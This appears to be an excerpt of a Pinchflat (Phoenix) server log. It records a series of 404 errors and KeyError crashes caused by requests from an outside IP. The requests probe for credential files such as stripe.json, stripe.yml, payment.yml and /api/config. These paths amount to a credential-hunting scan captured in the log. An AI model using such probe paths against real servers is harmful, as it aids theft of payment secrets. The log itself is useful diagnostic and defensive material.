~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3403.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/storage/secrets/stripe.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50070}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /storage/secrets/stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3403.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/storage/secrets/stripe.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50070}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3405.0>, params: %{}, path_info: ["storage", "secrets", "stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) (truncated) 21:08:44.841 [info] GET /config/initializers/stripe.rb 21:08:44.842 [debug] QUERY OK source="settings" db=0.2ms idle=77.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:44.842 [debug] QUERY OK source="settings" db=0.1ms idle=77.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:44.842 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:44.843 [error] #PID<0.3410.0> running PinchflatWeb.Endpoint (connection #PID<0.3409.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /config/initializers/stripe.rb ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/initializers/stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3409.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/initializers/stripe.rb", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50080}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3410.0>, params: %{}, path_info: ["config", "initializers", "stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/config/initializers/stripe.rb", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-yI_Q2mTA2YAAQoB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3409.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/initializers/stripe.rb", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50080}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/initializers/stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3409.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/initializers/stripe.rb", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50080}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3410.0>, params: %{}, path_info: ["config", "initializers", "stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh (truncated) 21:08:44.845 [info] GET /app/config/stripe.yml 21:08:44.845 [debug] QUERY OK source="settings" db=0.1ms idle=79.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:44.845 [debug] QUERY OK source="settings" db=0.1ms idle=80.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:44.845 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:44.846 [error] #PID<0.3412.0> running PinchflatWeb.Endpoint (connection #PID<0.3411.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /app/config/stripe.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app/config/stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3411.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/config/stripe.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50082}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3412.0>, params: %{}, path_info: ["app", "config", "stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/app/config/stripe.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-yJx352ifcYAAHYC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3411.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/config/stripe.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50082}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app/config/stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3411.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/config/stripe.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50082}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3412.0>, params: %{}, path_info: ["app", "config", "stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120. (truncated) 21:08:44.907 [info] GET /config/payment.yml 21:08:44.907 [debug] QUERY OK source="settings" db=0.1ms idle=141.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:44.907 [debug] QUERY OK source="settings" db=0.0ms idle=65.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:44.907 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:44.907 [error] #PID<0.3414.0> running PinchflatWeb.Endpoint (connection #PID<0.3413.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /config/payment.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/payment (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3413.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/payment.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50088}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3414.0>, params: %{}, path_info: ["config", "payment"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/config/payment.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-yYiIaSG5UQAAQqB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3413.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/payment.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50088}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/payment (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3413.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/payment.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50088}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3414.0>, params: %{}, path_info: ["config", "payment"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, (truncated) 21:08:44.925 [info] GET /api/config 21:08:44.926 [debug] QUERY OK source="settings" db=0.0ms idle=83.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:44.926 [debug] QUERY OK source="settings" db=0.0ms idle=80.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:44.926 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:44.926 [error] #PID<0.3416.0> running PinchflatWeb.Endpoint (connection #PID<0.3415.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /api/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3415.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/config", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50092}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3416.0>, params: %{}, path_info: ["api", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/api/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-ydBoFS2V0oAAQsB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, 